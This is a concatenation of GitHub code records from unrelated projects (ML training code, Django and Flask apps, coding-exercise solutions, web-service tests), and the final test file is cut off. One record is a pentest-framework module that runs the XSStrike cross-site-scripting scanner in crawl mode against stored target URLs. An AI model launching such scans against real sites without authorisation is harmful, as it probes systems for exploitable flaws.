print('dataset = {}, auc = {}'.format(optimal_results.dataset, optimal_results.auc))\n\n\nif __name__ == '__main__':\n args = parser_args()\n\n eval_type = args.type\n save_file = args.file\n print(save_file)\n if eval_type == 'test_func':\n test_func()\n else:\n evaluate(eval_type, save_file)\n","repo_name":"StevenLiuWen/sRNN_TSC_Anomaly_Detection","sub_path":"evaluate.py","file_name":"evaluate.py","file_ext":"py","file_size_in_byte":7881,"program_lang":"python","lang":"en","doc_type":"code","stars":71,"dataset":"github-code","pt":"99"} +{"seq_id":"31667877042","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport tensorflow.compat.v2 as tf\n\nfrom tcc.algos.alignment import Alignment\nfrom tcc.algos.sal import SaL\nfrom tcc.algos.tcn import TCN\nfrom tcc.config import CONFIG\n\n\nclass AlignmentSaLTCN(TCN):\n \"\"\"Network trained with combination losses.\"\"\"\n\n def __init__(self, model=None):\n super(AlignmentSaLTCN, self).__init__(model)\n algo_config = CONFIG.ALIGNMENT_SAL_TCN\n self.alignment_loss_weight = algo_config.ALIGNMENT_LOSS_WEIGHT\n self.sal_loss_weight = algo_config.SAL_LOSS_WEIGHT\n self.tcn_loss_weight = (1.0 - self.alignment_loss_weight -\n self.sal_loss_weight)\n if self.alignment_loss_weight + self.sal_loss_weight > 1.0:\n raise ValueError('Sum of weights > 1 Not allowed.')\n if self.alignment_loss_weight < 0 or self.sal_loss_weight < 0:\n raise ValueError('Negative weights not allowed.')\n\n self.algos = []\n if self.alignment_loss_weight > 0:\n self.alignment_algo = Alignment(self.model)\n self.algos.append(self.alignment_algo)\n if self.sal_loss_weight > 0:\n self.sal_algo = SaL(self.model)\n self.algos.append(self.sal_algo)\n if self.tcn_loss_weight > 0:\n self.tcn_algo = TCN(self.model)\n self.algos.append(self.tcn_algo)\n\n def get_algo_variables(self):\n algo_variables = []\n for algo in self.algos:\n algo_variables.extend(algo.get_algo_variables())\n return algo_variables\n\n def compute_loss(self, embs, steps, seq_lens, global_step, training,\n frame_labels, seq_labels):\n\n if self.tcn_loss_weight != 0.0:\n tcn_loss = self.tcn_algo.compute_loss(embs, steps, seq_lens, global_step,\n training, frame_labels, seq_labels)\n if training:\n tf.summary.scalar('alignment_sal_tcn/tcn_loss', tcn_loss,\n step=global_step)\n else:\n tcn_loss = 0.0\n\n if self.alignment_loss_weight != 0.0 or self.sal_loss_weight != 0.0:\n if training:\n batch_size = CONFIG.TRAIN.BATCH_SIZE\n num_steps = CONFIG.TRAIN.NUM_FRAMES\n else:\n batch_size = CONFIG.EVAL.BATCH_SIZE\n num_steps = CONFIG.EVAL.NUM_FRAMES\n\n embs_list = []\n steps_list = []\n seq_lens_list = []\n\n for i in xrange(int(batch_size)):\n # Randomly sample half of TCN frames as in datasets.py we already\n # sample double the number of frames because it requires positives for\n # training.\n chosen_steps = tf.cond(tf.random.uniform(()) < 0.5,\n lambda: tf.range(0, 2 * num_steps, 2),\n lambda: tf.range(1, 2 * num_steps, 2))\n\n embs_ = tf.gather(embs[i], chosen_steps)\n steps_ = tf.gather(steps[i], chosen_steps)\n\n embs_list.append(embs_)\n steps_list.append(steps_)\n seq_lens_list.append(seq_lens[i])\n\n embs = tf.stack(embs_list)\n steps = tf.stack(steps_list)\n seq_lens = tf.stack(seq_lens_list)\n\n if self.alignment_loss_weight != 0:\n alignment_loss = self.alignment_algo.compute_loss(embs, steps, seq_lens,\n num_steps, batch_size,\n global_step, training)\n if training:\n tf.summary.scalar('alignment_sal_tcn/alignment_loss',\n alignment_loss, step=global_step)\n else:\n alignment_loss = 0.0\n\n if self.sal_loss_weight != 0:\n sal_loss = self.sal_algo.compute_loss(embs, steps, seq_lens, global_step,\n training, frame_labels, seq_labels)\n\n if training:\n tf.summary.scalar('alignment_sal_tcn/sal_loss', sal_loss,\n step=global_step)\n else:\n sal_loss = 0.0\n\n return (self.alignment_loss_weight * alignment_loss +\n self.sal_loss_weight * sal_loss +\n self.tcn_loss_weight * tcn_loss)\n","repo_name":"google-research/google-research","sub_path":"tcc/algos/alignment_sal_tcn.py","file_name":"alignment_sal_tcn.py","file_ext":"py","file_size_in_byte":4025,"program_lang":"python","lang":"en","doc_type":"code","stars":31433,"dataset":"github-code","pt":"99"} +{"seq_id":"24517284053","text":"# 题目:871.最低加油次数\n# 难度:HARD\n# 最后提交:2022-03-26 09:15:29 +0800 CST\n# 语言:python3\n# 作者:ZrjaK\n\nfrom sortedcontainers import SortedList\nclass Solution:\n def minRefuelStops(self, target: int, startFuel: int, stations: List[List[int]]) -> int:\n if startFuel >= target:\n return 0\n if not stations:\n return -1\n curStation = 0\n curFuel = startFuel\n s = SortedList()\n count = 0\n stations.append([target, 0])\n for nextStation, j in stations:\n while curFuel < nextStation - curStation:\n if len(s) == 0:\n return -1\n curFuel += s.pop()\n count += 1\n s.add(j)\n if curFuel + curStation > target:\n break\n return count\n\n \n ","repo_name":"ZrjaK/algorithm","sub_path":"OJ/leetcode/871.最低加油次数.py","file_name":"871.最低加油次数.py","file_ext":"py","file_size_in_byte":872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"2133605747","text":"from django.contrib.auth.tokens import PasswordResetTokenGenerator\nfrom django.core.mail import send_mail\nfrom django.shortcuts import get_object_or_404\nfrom rest_framework import filters, status, viewsets\nfrom rest_framework.decorators import action\nfrom rest_framework.permissions import AllowAny, IsAuthenticated\nfrom rest_framework.response import Response\nfrom rest_framework_simplejwt.tokens import AccessToken\n\nfrom .models import User\nfrom .permissions import IsAdmin\nfrom .serializers import (JwtTokenSerializer, RegistrationSerializer,\n UserOwnInfoSerializer, UserSerializer)\n\naccount_activation_token = PasswordResetTokenGenerator()\n\n\nclass RegisterViewSet(viewsets.ModelViewSet):\n queryset = User.objects.all()\n serializer_class = RegistrationSerializer\n permission_classes = [AllowAny, ]\n\n def create(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n if serializer.is_valid():\n serializer.save()\n user = get_object_or_404(\n User,\n username=serializer.validated_data['username']\n )\n code = account_activation_token.make_token(user=user)\n send_mail(\n subject='Авторизация в YAMDB API',\n message=f'{user.username}, ваш код для авторизации: {code}',\n from_email='reg@yamdb.com',\n recipient_list=[user.email]\n )\n return Response(serializer.data, status=status.HTTP_200_OK)\n elif User.objects.filter(username=request.data.get('username'),\n email=request.data.get('email')).exists():\n user = User.objects.get(username=request.data.get('username'))\n code = account_activation_token.make_token(user=user)\n send_mail(\n subject='Авторизация в YAMDB API',\n message=f'{user.username}, ваш код для авторизации: {code}',\n from_email='reg@yamdb.com',\n recipient_list=[user.email]\n )\n return Response(request.data, status=status.HTTP_200_OK)\n else:\n return Response(\n serializer.errors,\n status=status.HTTP_400_BAD_REQUEST\n )\n\n\nclass TokenViewSet(viewsets.ModelViewSet):\n queryset = User.objects.all()\n serializer_class = JwtTokenSerializer\n permission_classes = [AllowAny, ]\n\n def create(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n if serializer.is_valid():\n user = get_object_or_404(\n User,\n username=serializer.validated_data['username']\n )\n\n if account_activation_token.check_token(\n user,\n serializer.validated_data['confirmation_code']):\n token = str(AccessToken.for_user(user))\n return Response({'token': token}, status.HTTP_200_OK)\n\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\nclass UserViewSet(viewsets.ModelViewSet):\n lookup_field = 'username'\n queryset = User.objects.all()\n serializer_class = UserSerializer\n permission_classes = (IsAdmin,)\n filter_backends = (filters.SearchFilter,)\n search_fields = ('username',)\n http_method_names = ['get', 'post', 'patch', 'delete']\n\n @action(detail=False,\n methods=['get', 'patch'],\n url_path='me',\n permission_classes=[IsAuthenticated])\n def get_user_own_info(self, request):\n user = request.user\n if request.method == \"PATCH\":\n serializer = UserOwnInfoSerializer(\n user,\n data=request.data,\n partial=True\n )\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data, status=status.HTTP_200_OK)\n return Response(\n serializer.errors,\n status=status.HTTP_400_BAD_REQUEST\n )\n else:\n serializer = UserOwnInfoSerializer(user)\n return Response(serializer.data, status=status.HTTP_200_OK)\n","repo_name":"MaryMash/yamdb_final","sub_path":"api_yamdb/users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"72299926725","text":"# coding: utf-8\n# __author__: u\"John\"\nfrom __future__ import unicode_literals, absolute_import, print_function, division\n\nfrom mplib.common.helper import print_line\nfrom io import open\n\n\ndef transformer(regexp_string):\n regexp_string = regexp_string.replace(\"\\r\", \"\").replace(\"\\n\", \"\")\n regexp_string = regexp_string.replace(\"\\d\", r\"\\\\d\")\n regexp_string = regexp_string.replace(\"\\D\", r\"\\\\D\")\n return regexp_string\n\n\nprint_line(center_word=\"母婴\")\nwith open(\"通用去水--母婴论坛贴吧.txt\", \"r\", encoding=\"utf8\") as f:\n data = list(map(transformer, [i for i in f]))\n for line in data:\n print(\"'{0}',\".format(line))\n\nprint_line(center_word=\"微博\")\nwith open(\"通用去水-微博.txt\", \"r\", encoding=\"utf8\") as f:\n data = list(map(transformer, [i for i in f]))\n for line in data:\n print(\"'{0}',\".format(line))\n\nprint_line(center_word=\"问诊\")\nwith open(\"通用去水-问诊.txt\", \"r\", encoding=\"utf8\") as f:\n data = list(map(transformer, [i for i in f]))\n for line in data:\n print(\"'{0}',\".format(line))\n","repo_name":"mpdevs/mplib","sub_path":"src/mplib/dnr/udf/通用词库/transform_regexp.py","file_name":"transform_regexp.py","file_ext":"py","file_size_in_byte":1064,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"99"} +{"seq_id":"74676333764","text":"class Stack:\r\n\r\n \"\"\"This is the class for a stack data structure\"\"\"\r\n\r\n def __init__(self,max_size):\r\n\r\n self.items = []\r\n self.max_size = max_size\r\n self.stack_pointer = 0\r\n\r\n def size(self):\r\n\r\n length = len(self.items)\r\n\r\n return length\r\n\r\n def push(self, item):\r\n\r\n size = self.size()\r\n \r\n if self.max_size > size:\r\n\r\n self.items.append(item)\r\n self.stack_pointer = size\r\n return True\r\n \r\n else:\r\n \r\n print(\"Stack is full.\")\r\n return False\r\n\r\n def pop(self):\r\n\r\n size = self.size()\r\n if size != 0:\r\n self.items.pop()\r\n self.stack_pointer = size\r\n return True\r\n else:\r\n print(\"Stack is empty.\")\r\n return False\r\n\r\n def peek(self):\r\n empty = self.is_empty()\r\n if empty == True:\r\n print(\"Stack is empty.\")\r\n else: \r\n lastItem = self.items[-1]\r\n return lastItem\r\n \r\n \r\n def is_empty(self):\r\n\r\n if len(self.items) == 0:\r\n return True\r\n else:\r\n return False\r\n \r\n\r\ndef main():\r\n stack = Stack(5)\r\n print(stack.items)\r\n print(stack.stack_pointer)\r\n print(stack.peek())\r\n for i in range(1,10):\r\n stack.push(i)\r\n print(stack.items)\r\n for i in range(1,10):\r\n stack.pop()\r\n\r\n print(stack.is_empty())\r\n \r\n\r\nif __name__ == \"__main__\":\r\n\r\n main()\r\n","repo_name":"kylekirkby/Algorithms","sub_path":"stack.py","file_name":"stack.py","file_ext":"py","file_size_in_byte":1543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"29724696342","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nfrom pathlib import Path\n\nclass Algorithm:\n GRECON = \"GreCon\"\n GRECON2 = \"GreCon2\"\n GRECOND = \"GreConD\"\n\nclass Folder:\n GRAPHS = \"graphs\"\n RESULTS = \"results\"\n DATA = \"data\"\n DATASETS = \"datasets\"\n GRECON_VS_GRECOND_SIMILARITY = \"grecon_vs_grecond_similarity\"\n ALL_ALGORITHMS_COVERAGE_GRAPH = \"grecon_greConD_grecon2_coverage_graph\"\n GRECON2_GRECOND_COVERAGE_GRAPH = \"grecon2_greConD_coverage_graph\" \n\ndef count_column_names(file):\n data_file_delimiter = ';'\n largest_column_count = 0\n\n with open(file, 'r') as temp_f:\n lines = temp_f.readlines()\n\n for l in lines:\n column_count = len(l.split(data_file_delimiter)) + 1\n largest_column_count = column_count if largest_column_count < column_count else largest_column_count\n\n return [i for i in range(0, largest_column_count)] \n\ncurrent_path = Path('.')\ninput_folder = current_path / Folder.RESULTS / Folder.GRECON_VS_GRECOND_SIMILARITY\noutput_folder = current_path / Folder.GRAPHS / Folder.GRECON_VS_GRECOND_SIMILARITY\noutput_folder.mkdir(exist_ok=True)\n\nfor dataset_path in input_folder.rglob('*.csv'):\n df = pd.read_csv(str(dataset_path) , delimiter=\";\", index_col=0, header=None, names=count_column_names(str(dataset_path)))\n\n x = list(df.loc[Algorithm.GRECON])\n y = list(df.loc[Algorithm.GRECOND])\n \n axis_min = 0.7\n axis_max = max(max(x), max(y)) * 1.4\n \n plt.scatter(x, y, s=20, facecolors='none', edgecolors='black')\n\n plt.xlabel('GreCon')\n plt.ylabel('GreConD')\n plt.yscale(\"log\")\n plt.ylim(axis_min, axis_max)\n plt.xlim(axis_min, axis_max)\n plt.xscale(\"log\")\n plt.margins(0)\n\n dataset_name = dataset_path.name.replace(\".csv\", \".eps\")\n output_path = output_folder / dataset_name\n\n x = np.linspace(0, axis_max, 100)\n plt.plot(x, x, linestyle='dashed', color='gray', zorder=0)\n plt.savefig(str(output_path), format='eps')\n\n\n","repo_name":"rvyjidacek/grecon2_experiments","sub_path":"similarity_graph.py","file_name":"similarity_graph.py","file_ext":"py","file_size_in_byte":1992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"26401360055","text":"# --------------------------------------------------------\n# OpenVQA\n# Written by Yuhao Cui https://github.com/cuiyuhao1996\n# --------------------------------------------------------\nfrom openvqa.ops.fc import FC, MLP\nimport torch.nn as nn\nimport torch\nfrom openvqa.core.base_dataset import BaseAdapter\nfrom openvqa.utils.make_mask import make_mask\nfrom openvqa.ops.fc import FC, MLP\nfrom openvqa.ops.layer_norm import LayerNorm\nfrom openvqa.models.MPCCT.position import RegionAbsolutePosition, GridRelationalEmbedding, PositionEmbeddingSine, RegionRelationalEmbedding\nimport torch.nn.functional as F\nimport math\n\nclass Adapter(BaseAdapter):\n def __init__(self, __C):\n super(Adapter, self).__init__(__C)\n self.__C = __C\n\n def bbox_proc(self, boxes, imgs_wh):\n xmin = boxes[:, :, 0]\n ymin = boxes[:, :, 1] \n xmax = boxes[:, :, 2] \n ymax = boxes[:, :, 3]\n area = (boxes[:, :, 2] - boxes[:, :, 0]) * (boxes[:, :, 3] - boxes[:, :, 1])\n expand_wh = torch.cat([imgs_wh, imgs_wh], dim=1).unsqueeze(dim=1) #(bs, 1, 4)\n ratio_area = area / (imgs_wh[:, 0] * imgs_wh[:, 1]).unsqueeze(-1) #(bs, num_r)\n ratio_area = ratio_area.unsqueeze(-1) #(bs, num_r, 1)\n boxes = torch.stack([xmin, ymin, xmax, ymax], dim=2)\n boxes = boxes / expand_wh #(bs, num_r, 4)\n res = torch.cat([boxes, ratio_area], dim=-1) #(bs, num_r, 5)\n return res\n\n def vqa_init(self, __C):\n imgfeat_linear_size = __C.FEAT_SIZE['vqa']['FRCN_FEAT_SIZE'][1]\n #if __C.USE_BBOX_FEAT:\n #self.bbox_linear = nn.Linear(5, __C.BBOXFEAT_EMB_SIZE)\n #imgfeat_linear_size += __C.BBOXFEAT_EMB_SIZE\n self.frcn_linear = nn.Linear(imgfeat_linear_size, __C.HIDDEN_SIZE) \n self.linear_abs = nn.Linear(6, __C.HIDDEN_SIZE)\n\n def vqa_grid_init(self, __C):\n imgfeat_linear_size = __C.FEAT_SIZE['vqa_grid']['FRCN_FEAT_SIZE'][1]\n self.frcn_linear = nn.Linear(imgfeat_linear_size, __C.HIDDEN_SIZE)\n #if __C.USE_BBOX_FEAT:\n #self.bbox_linear = nn.Linear(5, __C.BBOXFEAT_EMB_SIZE)\n #imgfeat_linear_size += __C.BBOXFEAT_EMB_SIZE\n self.Abs = PositionEmbeddingSine(256, normalize=True)\n \n\n def clevr_init(self, __C):\n self.grid_linear = nn.Linear(__C.FEAT_SIZE['clevr']['GRID_FEAT_SIZE'][1], __C.HIDDEN_SIZE)\n self.grid_abs = PositionEmbeddingSine(256, normalize=True)\n\n def vqa_forward(self, feat_dict):\n frcn_feat = feat_dict['FRCN_FEAT']\n bbox_feat = feat_dict['BBOX_FEAT']\n w_feat = feat_dict['W_FEAT']\n h_feat = feat_dict['H_FEAT']\n w_feat = w_feat.unsqueeze(1)\n h_feat = h_feat.unsqueeze(1)\n wh_feat = torch.cat((w_feat, h_feat), dim=-1)\n img_feat_mask = make_mask(frcn_feat)\n\n #if self.__C.USE_BBOX_FEAT:\n #bbox_feat = self.bbox_proc(bbox_feat)\n #bbox_feat = self.bbox_linear(bbox_feat)\n #frcn_feat = torch.cat((frcn_feat, bbox_feat), dim=-1)\n img_feat = self.frcn_linear(frcn_feat)\n region_abs = RegionAbsolutePosition(bbox_feat, wh_feat) # (bs, num, 6)\n region_abs = self.linear_abs(region_abs) \n region_rel = RegionRelationalEmbedding(boxes=bbox_feat,\n dim_g=64, \n wave_len=1000, \n trignometric_embedding=True) # (bs, num, num, 6)\n \n return img_feat, img_feat_mask, region_abs, region_rel\n\n def vqa_grid_forward(self, feat_dict):\n frcn_feat = feat_dict['FRCN_FEAT']\n\n img_feat_mask = make_mask(frcn_feat)\n \n img_feat = self.frcn_linear(frcn_feat)\n\n bs = img_feat.shape[0]\n grid_abs = self.Abs(img_feat.view(bs, 8, 8, -1)) # (bs, num, dim)\n grid_rel = GridRelationalEmbedding(grid_feat=img_feat,\n grid_size=8, \n dim_g=64, \n wave_len=1000, \n trignometric_embedding=True) #(bs * r * r *6)\n\n return img_feat, img_feat_mask, grid_abs, grid_rel \n \n\n def clevr_forward(self, feat_dict):\n grid_feat = feat_dict['GRID_FEAT'] \n img_feat_mask = make_mask(grid_feat)\n img_feat = self.grid_linear(grid_feat)\n bs = img_feat.shape[0]\n grid_abs = self.grid_abs(img_feat.view(bs, 14, 14, -1)) # (bs, num, dim)\n grid_rel = GridRelationalEmbedding(grid_feat=img_feat,\n grid_size=14, \n dim_g=64, \n wave_len=1000, \n trignometric_embedding=True) #(bs * r * r *96)\n return img_feat, img_feat_mask, grid_abs, grid_rel \n\n\n\n","repo_name":"RainyMoo/myvqa","sub_path":"openvqa/models/MPCCT/adapter.py","file_name":"adapter.py","file_ext":"py","file_size_in_byte":4914,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"12650230642","text":"from django.contrib import admin\nfrom advocates.models import *\n\n# Register your models here.\n\nadmin.site.register(Track)\nadmin.site.register(Court)\nclass SessionAdmin(admin.ModelAdmin):\n list_display = ('clientname', 'status', 'track','court','hearing_date',)\n search_fields = ['clientname', 'status']\n actions = ['make_approved',]\n\n def make_approved(self, request, queryset):\n rows_updated = queryset.update(status = 'a')\n if rows_updated == 1:\n message_bit = '1 session was'\n else:\n message_bit = '%s sessions were' % rows_updated\n\n self.message_user(request, '%s approved.' % message_bit)\n make_approved.short_description = 'Mark session(s) as approved'\n\nadmin.site.register(Session, SessionAdmin)\n\n","repo_name":"khansrk/khanadvocates","sub_path":"advocates/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":769,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"6046555075","text":"#!/usr/bin/python\n\nfrom armory2.armory_main.models import (\n IPAddress,\n Domain,\n Port,\n \n)\nfrom armory2.armory_main.included.ModuleTemplate import ToolTemplate\nfrom armory2.armory_main.included.utilities import get_urls\nimport os\nimport re\nimport pdb\nfrom multiprocessing import Pool as ThreadPool\nfrom armory2.armory_main.included.utilities.color_display import display, display_warning, display_new\nimport time\nimport glob\n\nfrom urllib.parse import urlparse\n\n\n\nclass Module(ToolTemplate):\n\n name = \"Xsstrike\"\n binary_name = \"xsstrike.py\"\n\n\n def set_options(self):\n super(Module, self).set_options()\n\n self.options.add_argument(\"-u\", \"--url\", help=\"Base domain to start crawling. \")\n self.options.add_argument(\"--file\", help=\"Import URLs from file\")\n self.options.add_argument(\n \"-i\",\n \"--import_database\",\n help=\"Import URLs from database\",\n action=\"store_true\",\n )\n self.options.add_argument(\n \"--rescan\",\n help=\"Run xsstrike on hosts that have already been processed.\",\n action=\"store_true\",\n )\n self.options.add_argument(\n \"-l\", \"--log_level\", help=\"File log level (default is GOOD)\", default=\"GOOD\"\n )\n self.options.set_defaults(timeout=600) # Kick the default timeout to 10 minutes\n\n def get_targets(self, args):\n targets = []\n\n if args.url:\n\n targets.append(args.url)\n\n if args.file:\n urls = open(args.file).read().split(\"\\n\")\n for u in urls:\n if u:\n targets.append(u)\n\n if args.import_database:\n if args.rescan:\n targets += get_urls.run(scope_type=\"active\", args=self.args.tool_args)\n else:\n targets += get_urls.run(tool=self.name, scope_type=\"active\", args=self.args.tool_args)\n\n if args.output_path[0] == \"/\":\n self.output_path = os.path.join(\n self.base_config[\"ARMORY_BASE_PATH\"],\n args.output_path[1:],\n str(int(time.time())),\n )\n\n else:\n self.output_path = os.path.join(\n self.base_config[\"ARMORY_BASE_PATH\"],\n args.output_path,\n str(int(time.time())),\n )\n\n if not os.path.exists(self.output_path):\n os.makedirs(self.output_path)\n\n res = []\n for t in targets:\n res.append(\n {\n \"target\": t,\n \"output\": os.path.join(self.output_path, \"{}.txt\".format(t.replace(':', '_').replace('/', '_')))\n \n }\n )\n\n return res\n\n def build_cmd(self, args):\n\n cmd = self.binary + \" --crawl --log-file {output} -u {target} --file-log-level \" + self.args.log_level + ' '\n\n if args.tool_args:\n cmd += args.tool_args\n\n return cmd\n\n def pre_run(self, args):\n\n self.orig_path = os.getcwd()\n os.chdir(os.path.dirname(self.binary))\n\n def process_output(self, cmds):\n \n for c in cmds:\n \n get_urls.add_tool_url(c['target'], self.name, self.args.tool_args)\n \n \n # display_new(\"Processing data for {}\".format(c['target']))\n data = open(c['output']).read()\n\n if data:\n port = get_urls.get_port_object(c['target'])\n if not port:\n display_warning(f\"Port object for {c['target']} not found\")\n else:\n if not port.meta.get('Xsstrike'):\n port.meta['Xsstrike'] = {}\n if not port.meta['Xsstrike'].get(c['target']):\n port.meta['Xsstrike'][c['target']] = []\n if c['output'] not in port.meta['Xsstrike'][c['target']]:\n\n port.meta['Xsstrike'][c['target']].append(c['output'])\n port.save()\n \n display_warning(\n \"There is currently no post-processing for this module. For the juicy results, refer to the output file paths.\"\n )\n\n def post_run(self, args):\n\n os.chdir(self.orig_path)","repo_name":"depthsecurity/armory","sub_path":"armory2/armory_main/included/modules/XSStrike.py","file_name":"XSStrike.py","file_ext":"py","file_size_in_byte":4273,"program_lang":"python","lang":"en","doc_type":"code","stars":408,"dataset":"github-code","pt":"99"} +{"seq_id":"40480916913","text":"def solution(line):\n (answerList, intersectionPointSet) = ([], set());\n \n for i in range(len(line)):\n (a, b, e) = line[i];\n \n for j in range(i + 1, len(line)):\n (c, d, f) = line[j];\n \n # print(a, b, c);\n # print(d, e, f);\n # print();\n \n if (a * d == b * c):\n continue;\n \n denominator = (a * d) - (b * c);\n (x, y) = ((((b * f) - (e * d)) / denominator), (((e * c) - (a * f)) / denominator));\n \n if ((x.is_integer()) and (y.is_integer())): \n intersectionPointSet.add(tuple([int(x), int(y)]));\n\n intersectionPointList = sorted(list(intersectionPointSet), key = lambda k : (-k[1], k[0]));\n (xList, yList) = zip(*intersectionPointList);\n \n # print(intersectionPointSet);\n # print(intersectionPointList);\n # print(xList);\n # print(yList);\n \n for y in range(max(yList), min(yList) - 1, -1):\n answerStr = \"\";\n \n for x in range(min(xList), max(xList) + 1):\n # print(x, y);\n \n answerStr += (\"*\" if ((x, y) in intersectionPointSet) else \".\");\n \n answerList.append(answerStr);\n \n return answerList;\n","repo_name":"REVANgers/all-solved-club","sub_path":"members/U02BQ6G1SQJ/programmers/weeklychallenge/교점에 별 만들기.py","file_name":"교점에 별 만들기.py","file_ext":"py","file_size_in_byte":1295,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"99"} +{"seq_id":"18878468394","text":"# Server imports\nfrom flask import Flask, render_template, request, redirect, jsonify\nimport requests\nimport json\nfrom bs4 import BeautifulSoup\nimport nltk\nimport re\n\n# internal moduless\nfrom topic_modeling import main_topics_small_corpus, main_topics_large_corpus\nfrom main_idea_extraction import main_ideas\nfrom tf_idf_built_in import tf_idf\n\n\nnltk.download('stopwords')\nnltk.download('punkt') # one time execution\n\napp = Flask(__name__)\n\n@app.route('/')\ndef index():\n print(\"INDEX\")\n return render_template('index.html')\n\n@app.route('/get_data', methods=['GET','POST'])\ndef get_data_from_image():\n print(\"HERE\")\n print(request.json)\n # http://video.google.com/timedtext?lang=en&v=gHkELWFqGKQ\n\n youtube_url = request.json.get(\"videoID\")\n\n vid_id_pattern = re.compile(\"v=.*\")\n\n video_id = vid_id_pattern.search(youtube_url).group(0)\n\n print(\"youtube_url:\", youtube_url)\n print(\"video_id:\", video_id)\n\n video_text_url = f'http://video.google.com/timedtext?lang=en&{video_id}'\n\n print(\"video_text_url:\", video_text_url)\n\n page = requests.get(video_text_url)\n\n print(\"AFTER REQUEST TO GET YOUTUBE TRANSCRIPT\")\n\n #print(page.text)\n soup = BeautifulSoup(page.text, 'html.parser')\n # print(\"TEST_____________\")\n sentences = []\n for item in soup.find_all('text'):\n sentences.append(item.get_text())\n\n # print(sentences)\n # print(main_ideas(sentences))\n\n # One string instead of array of sentences\n # sentences_to_string = ' '.join(sentences)\n\n ranked_main_ideas = main_ideas(sentences)\n extracted_main_ideas = []\n\n # Print Top 10 extracted_main_ideas\n for i in range(10):\n extracted_main_ideas.append(ranked_main_ideas[i][1])\n\n to_return = {}\n\n to_return[\"main_topics\"] = main_topics_large_corpus(sentences,2,5)\n to_return[\"main_ideas\"] = extracted_main_ideas[2:]\n to_return[\"key_words\"] = tf_idf(extracted_main_ideas, to_return[\"main_topics\"])\n to_return[\"summary\"] = extracted_main_ideas[0:2]\n print(to_return)\n # print(json.dumps(to_return))\n return str(json.dumps(to_return))\n\nif __name__ == \"__main__\":\n app.run(debug=True, port=5000)\n","repo_name":"natepill/video_to_notes","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2156,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"72120922886","text":"\"\"\"Unit Tests for WebService\"\"\"\nfrom urllib.parse import parse_qs\nfrom datetime import datetime\nfrom numpy.testing import assert_equal, assert_raises\nimport numpy\nimport webtest\n\nfrom geomagio.WebService import _get_param\nfrom geomagio.WebService import WebService\nimport obspy.core\nfrom obspy.core.stream import Stream\nfrom obspy.core.utcdatetime import UTCDateTime\n\n\nclass TestFactory(object):\n \"Factory to test for 200 and 400 response statuses.\"\n\n @staticmethod\n def get_timeseries(\n observatory=None,\n channels=None,\n starttime=None,\n endtime=None,\n type=None,\n interval=None,\n ):\n stream = obspy.core.Stream()\n for channel in channels:\n stats = obspy.core.Stats()\n stats.channel = channel\n stats.starttime = starttime\n stats.network = \"Test\"\n stats.station = observatory\n stats.location = observatory\n if interval == \"second\":\n stats.sampling_rate = 1.0\n elif interval == \"minute\":\n stats.sampling_rate = 1.0 / 60.0\n elif interval == \"hourly\":\n stats.sampling_rate = 1.0 / 3600.0\n elif interval == \"daily\":\n stats.sampling_rate = 1.0 / 86400.0\n length = int((endtime - starttime) * stats.sampling_rate)\n stats.npts = length + 1\n data = numpy.full(length, numpy.nan, dtype=numpy.float64)\n trace = obspy.core.Trace(data, stats)\n stream.append(trace)\n return stream\n\n\nclass ErrorFactory(object):\n \"Factory to test for 500 response status.\"\n\n @staticmethod\n def get_timeseries(\n observatory=None,\n channels=None,\n starttime=None,\n endtime=None,\n type=None,\n interval=None,\n ):\n pass\n\n\ndef test__get_param():\n \"\"\"WebService_test.test__get_param()\n\n Call function _get_param to make certain it gets back\n the appropriate values and raises exceptions for invalid values.\n \"\"\"\n params = {\n \"id\": None,\n \"elements\": \"H,E,Z,F\",\n \"sampling_period\": [\"1\", \"60\"],\n }\n assert_raises(Exception, _get_param, params, \"id\", required=True)\n elements = _get_param(params, \"elements\")\n assert_equal(elements, \"H,E,Z,F\")\n assert_raises(Exception, _get_param, params, \"sampling_period\")\n\n\ndef test_fetch():\n \"\"\"WebService_test.test_fetch())\n\n Call function WebService.fetch to confirm tht it returns an\n obspy.core.stream object.\n \"\"\"\n service = WebService(TestFactory())\n query = service.parse(\n parse_qs(\n \"id=BOU&starttime=2016-06-06\"\n \"&endtime=2016-06-07&elements=H,E,Z,F&sampling_period=60\"\n \"&format=iaga2002&type=variation\"\n )\n )\n timeseries = service.fetch(query)\n assert_equal(isinstance(timeseries, Stream), True)\n\n\ndef test_parse():\n \"\"\"WebService_test.test_parse()\n\n Create WebService instance and call parse to confirm that query\n string values are applied to the correct class attribute. Also\n confirm that default values are applied correctly.\n \"\"\"\n service = WebService(TestFactory())\n query = service.parse(\n parse_qs(\n \"id=BOU&starttime=2016-06-06\"\n \"&endtime=2016-06-07&elements=H,E,Z,F&sampling_period=60\"\n \"&format=iaga2002&type=variation\"\n )\n )\n assert_equal(query.observatory_id, \"BOU\")\n assert_equal(query.starttime, UTCDateTime(2016, 6, 6, 0))\n assert_equal(query.endtime, UTCDateTime(2016, 6, 7, 0))\n assert_equal(query.elements, [\"H\", \"E\", \"Z\", \"F\"])\n assert_equal(query.sampling_period, \"60\")\n assert_equal(query.output_format, \"iaga2002\")\n assert_equal(query.data_type, \"variation\")\n # Test that defaults are set for unspecified values\n now = datetime.now()\n today = 